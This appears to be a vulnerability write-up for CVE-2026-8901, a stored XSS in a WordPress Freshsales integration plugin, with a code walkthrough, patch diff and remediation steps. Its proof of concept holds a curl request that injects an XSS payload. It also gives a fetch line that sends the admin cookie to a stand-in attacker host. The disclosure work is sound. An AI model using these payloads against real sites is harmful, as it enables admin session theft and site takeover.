Integration for Freshsales – Contact Form 7, WPForms, Elementor, Gravity Forms and More plugin banner

CVE-2026-8901: Unauthenticated Stored XSS in Freshsales Plugin (CVSS 7.2)

Updated 10 min read

CVE-2026-8901 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Integration for Freshsales – Contact Form 7, WPForms, Elementor, Gravity Forms and More WordPress plugin. An unauthenticated attacker can submit a crafted form entry that stores a JavaScript payload in the database. The payload runs in an administrator’s browser when the admin views the error log details modal for that submission.

Vulnerability Summary

FieldValue
Plugin NameIntegration for Freshsales – Contact Form 7, WPForms, Elementor, Gravity Forms and More
Plugin Slugcrm-integration-freshworks-any-form
CVE IDCVE-2026-8901
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 1.0.15
Patched Version1.0.16
PublishedJune 5, 2026
ResearcherPeterPatter
Wordfence AdvisoryLink

Description

An unauthenticated attacker can inject malicious JavaScript into a WordPress site by submitting a crafted form entry. The plugin connects popular form builders to the Freshsales CRM. When a form is submitted, the plugin sends the submitted data to the CRM. If that API call fails, the plugin saves the raw form data to an error log table so an administrator can review it later.

The plugin stores this form data without sanitization. It then renders the data without output escaping in the error log details modal. Because of this, a stored payload executes in the browser of any administrator who opens the details for the failed submission.

This vulnerability needs no account on the target site. The attacker only needs one active form connected to the plugin. The payload runs in the administrator’s session, so the attacker can steal session cookies, create rogue admin accounts, change site content, or plant a persistent backdoor.

There is one condition. The malicious payload is stored and shown only when the CRM API call for that submission fails. This happens often in practice — for example with an expired or invalid API key, a misconfigured field mapping, or a network error. An attacker can also force failures by submitting data that the CRM rejects.

Technical Analysis

Entry Point: Public Form Submissions

The plugin hooks into the submission events of every supported form builder. All of these events fire on normal, unauthenticated form submissions.

// src/forms/submit-action.php:14-31
add_action('wpcf7_mail_sent', [$this, 'process_cf7_submission']);
add_action('wpforms_process_complete', [$this, 'process_wpforms_submission'], 10, 4);
add_action('gform_after_submission', [$this, 'process_gravityform_submission'], 10, 2);
add_action('frm_after_create_entry', [$this, 'process_formidable_submission'], 10, 2);
add_action('elementor_pro/forms/new_record', [$this, 'process_elementor_form_submission'], 10, 2);

Each handler reads the raw submitted values. For Contact Form 7, the plugin pulls the posted data straight from the submission object with no sanitization:

// src/forms/submit-action.php:88
$form_data = $submission->get_posted_data();

The Elementor handler does the same — it copies each field value into $form_data as a plain string:

// src/forms/submit-action.php:506-513
if (is_array($value)) {
    $form_data[$field_key] = implode(', ', array_map('strval', $value));
} else {
    $form_data[$field_key] = (string) $value;
}

Vulnerable Code Path

Step 1 — Failed CRM Call Stores Raw Data (submit-action.php:540)

After building $form_data, the plugin sends it to the CRM and checks the response. If the response does not contain the expected record ID, the plugin treats the call as failed and writes the raw form data to the error log:

// src/forms/submit-action.php:540-565
private function check_and_add_error_log($response, $form_data, $crm_data, $field_mapping_details)
{
    $integrazo_fwcrm_form_errorLogDBInstance = new integrazo_fwcrm_form_ErrorLog();
    $integrazo_fwcrm_form_api_Instance = new integrazo_fwcrm_form_API();

    $module_name = $field_mapping_details->module_name ?? '';
    $module_action = $integrazo_fwcrm_form_api_Instance->getModuleAction($module_name);

    // Check if the response contains the expected module action and ID
    if (!isset($response[$module_action]) || !isset($response[$module_action]['id'])) {
        $code = $response['code'] ?? 'API_RESPONSE_ISSUE';
        $crm_record_id = $response[$module_action]['id'] ?? '';

        // Add error log to the database
        $integrazo_fwcrm_form_errorLogDBInstance->add_error_log(
            $field_mapping_details->integration_id,
            $code,
            $form_data,        // ⚠ raw, attacker-controlled
            $crm_data,
            $response,
            0,
            $crm_record_id
        );
    }
}

Step 2 — Database Layer Stores Without Sanitization (fw-error-log.php:75)

add_error_log() only JSON-encodes the array. It applies no sanitization to the field names or values before the insert:

// src/db/fw-error-log.php:75-103
public function add_error_log($integration_id, $error_type, $form_data, $crm_data, $api_response = null, $retry_count = 0, $crm_record_id = null)
{
    // Encode data fields to JSON if they are arrays
    $form_data_json = is_array($form_data) ? wp_json_encode($form_data) : $form_data;
    // ...
    $result = $this->wpdb->insert(
        $this->table_name,
        [
            'integration_id' => $integration_id,
            'error_type'     => $error_type,
            'form_data'      => $form_data_json,   // ⚠ stored as-is
            // ...
        ],
        // ...
    );
}

Step 3 — AJAX Handler Returns Raw Data (fw-errorlog-action.php:178)

When an administrator clicks “View Details” on a logged error, the browser calls the integrazo_fwcrm_form_errorlog_show_action AJAX endpoint. The handler reads the row and sends the stored form data straight back to the browser with no escaping:

// src/product/fw-errorlog-action.php:178-216
function integrazo_fwcrm_form_errorlog_show_action()
{
    // Nonce check only — verifies the request, not the stored content
    if (
        !isset($_POST['security']) ||
        !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['security'])), 'integrazo_fwcrm_form_error_log_nonce')
    ) {
        wp_send_json_error(['message' => esc_html__('Invalid security token.', 'crm-integration-freshworks-any-form')]);
    }

    $log_id = isset($_POST['log_id']) ? intval($_POST['log_id']) : 0;
    // ...
    $error_log_details = $integrazo_fwcrm_form_errorLogDBInstance->get_error_log($log_id);
    // ...
    // Send the log details as a success response
    wp_send_json_success(['details' => $error_log_details]);   // ⚠ raw form_data returned
}
add_action('wp_ajax_integrazo_fwcrm_form_errorlog_show_action', 'integrazo_fwcrm_form_errorlog_show_action');

Step 4 — Unescaped Output in the Browser (error-log.js:84)

The front-end script builds the modal HTML by concatenating the returned values into a template string. It then assigns the string to innerHTML. The field name (key) and value are inserted with no escaping:

// assets/js/error-log.js:42-50
content += `<h4>Form Data</h4>
            <table class="integrazo_fwcrm_form-error-table">`;
for (const [key, value] of Object.entries(details.form_data || {})) {
    content += `<tr>
                    <th>${key}</th>
                    <td>${value}</td>
                </tr>`;
}
content += `</table>`;
// assets/js/error-log.js:84
contentDiv.innerHTML = content;   // ⚠ payload renders and executes here

Because the value goes into innerHTML, any HTML or JavaScript in the stored field value runs in the administrator’s browser.

Root Cause

The plugin trusts form data from end to end. It stores attacker-controlled values without sanitization in add_error_log(), returns them without escaping in the AJAX handler, and writes them into innerHTML without escaping in error-log.js. No layer neutralizes the input, so a stored script executes when the admin opens the modal.

Why the Nonce Does Not Help

The AJAX handler checks a nonce. That nonce only protects the request that reads the log; it does not sanitize the content of the log. The dangerous data was already stored earlier through a public, unauthenticated form submission. The nonce check at the read step does not change the unauthenticated nature of the injection.

Attack Impact

An unauthenticated attacker can run arbitrary JavaScript in an administrator’s browser. Because the code runs in the WordPress admin session, the attacker can take over admin accounts, create backdoor users, change site content, or redirect visitors to malicious sites.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

  • WordPress installation with the crm-integration-freshworks-any-form plugin installed and activated.
  • Plugin version <= 1.0.15.
  • At least one form (Contact Form 7, WPForms, Elementor, Gravity Forms, or Formidable) connected to a Freshsales integration in the plugin.
  • The CRM call for the submission fails. This is the normal state when the connected account uses an expired or invalid API key, or when a field mapping is wrong. An attacker can force a failure by submitting values the CRM rejects.
  • Replace https://target.example.com with the target WordPress URL.

Step-by-Step Reproduction

Step 1: Submit a form entry with an XSS payload

Submit the site’s connected form as any normal visitor. Place the payload in a mapped text field. For a Contact Form 7 form, the request looks like this:

curl -s -X POST "https://target.example.com/wp-json/contact-form-7/v1/contact-forms/FORM_ID/feedback" \
  -F "your-name=<img src=x onerror=alert(document.domain)>" \
  -F "your-email=attacker@example.com" \
  -F "your-message=hello"

Replace FORM_ID with the numeric ID of the connected form. Any submission method works — the browser form on the page is enough. The key requirement is that the field value reaches the plugin and the CRM call fails, which writes the raw value to the error log.

Step 2: Trigger the XSS

Log in to WordPress as an administrator. Open the plugin’s error log page:

wp-admin/admin.php?page=crm-integration-freshworks-any-form

Find the failed submission in the error log table and click “View Details”. The modal calls showErrorDetails(), which fetches the stored form data and writes it into innerHTML. The injected payload executes immediately.

Expected Result

A JavaScript alert box displays document.domain (the site’s hostname). This confirms that attacker-supplied JavaScript ran in the authenticated administrator’s browser session.

Verification

  1. After step 1, check the wp_integrazo_fwcrm_form_error_log table. The form_data column for the new row contains the unsanitized <img> payload.
  2. After step 2, the browser shows the alert. In a real attack, replace alert(document.domain) with fetch('https://attacker.example.com/?c='+document.cookie) to exfiltrate the admin session cookie.

Patch Analysis

What Changed

Version 1.0.16 adds defense in depth across four layers. Each layer now neutralizes the attacker-controlled form data.

  1. Input sanitization on submission (src/forms/submit-action.php) — a new sanitize_recursive() method strips tags and dangerous characters from every scalar value before the data is logged.
  2. Database layer sanitization (src/db/fw-error-log.php) — values are sanitized again before the insert.
  3. AJAX output sanitization (src/product/fw-errorlog-action.php) — a new integrazo_fwcrm_form_sanitize_log_payload() function cleans the whole payload before wp_send_json_success() returns it.
  4. Client-side escaping (assets/js/error-log.js) — a new integrazoEscapeHtml() helper escapes every value before it is inserted into the modal HTML.

Fix Explanation

The most direct fix is the client-side escaping. The integrazoEscapeHtml() helper converts <, >, ", ', and & into HTML entities. Even if a payload reaches the browser, it now renders as plain text instead of executing.

The added PHP sanitization on input, in the database layer, and at AJAX output means the payload is also neutralized before it is ever stored or returned. Together these layers fix the root cause — the data is no longer trusted at any step.

Code Diff (Key Changes)

--- a/assets/js/error-log.js
+++ b/assets/js/error-log.js
@@ -1,3 +1,19 @@
+/**
+ * Escape HTML special characters to prevent XSS when inserting
+ * user-supplied / log data into the DOM via innerHTML.
+ */
+function integrazoEscapeHtml(str) {
+    if (str === null || str === undefined) {
+        return '';
+    }
+    return String(str)
+        .replace(/&/g, '&amp;')
+        .replace(/</g, '&lt;')
+        .replace(/>/g, '&gt;')
+        .replace(/"/g, '&quot;')
+        .replace(/'/g, '&#039;');
+}
+
 function showErrorDetails(errorLogID) {
@@ -43,8 +59,8 @@ function showErrorDetails(errorLogID) {
                 for (const [key, value] of Object.entries(details.form_data || {})) {
                     content += `<tr>
-                                    <th>${key}</th>
-                                    <td>${value}</td>
+                                    <th>${integrazoEscapeHtml(key)}</th>
+                                    <td>${integrazoEscapeHtml(value)}</td>
                                 </tr>`;
                 }
--- a/src/product/fw-errorlog-action.php
+++ b/src/product/fw-errorlog-action.php
+function integrazo_fwcrm_form_sanitize_log_payload($data)
+{
+    if (is_array($data)) {
+        $sanitized = [];
+        foreach ($data as $key => $value) {
+            $clean_key = is_string($key) ? sanitize_text_field($key) : $key;
+            $sanitized[$clean_key] = integrazo_fwcrm_form_sanitize_log_payload($value);
+        }
+        return $sanitized;
+    }
+    if (is_string($data)) {
+        return sanitize_text_field($data);
+    }
+    return $data;
+}

Timeline

DateEvent
Vulnerability discovered and reported by PeterPatter
June 5, 2026Publicly disclosed by Wordfence
June 2026Patched version 1.0.16 released

Remediation

Update the crm-integration-freshworks-any-form plugin to version 1.0.16 or later from the WordPress admin dashboard or wordpress.org.

If you cannot update right away, consider temporarily deactivating the plugin. As an extra step, clear any existing entries from the plugin’s error log, since stored payloads from earlier submissions still execute when an admin opens the details modal on a vulnerable version.

References

  1. Wordfence Advisory — CVE-2026-8901
  2. CVE-2026-8901 at cve.org
  3. Integration for Freshsales Plugin on WordPress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee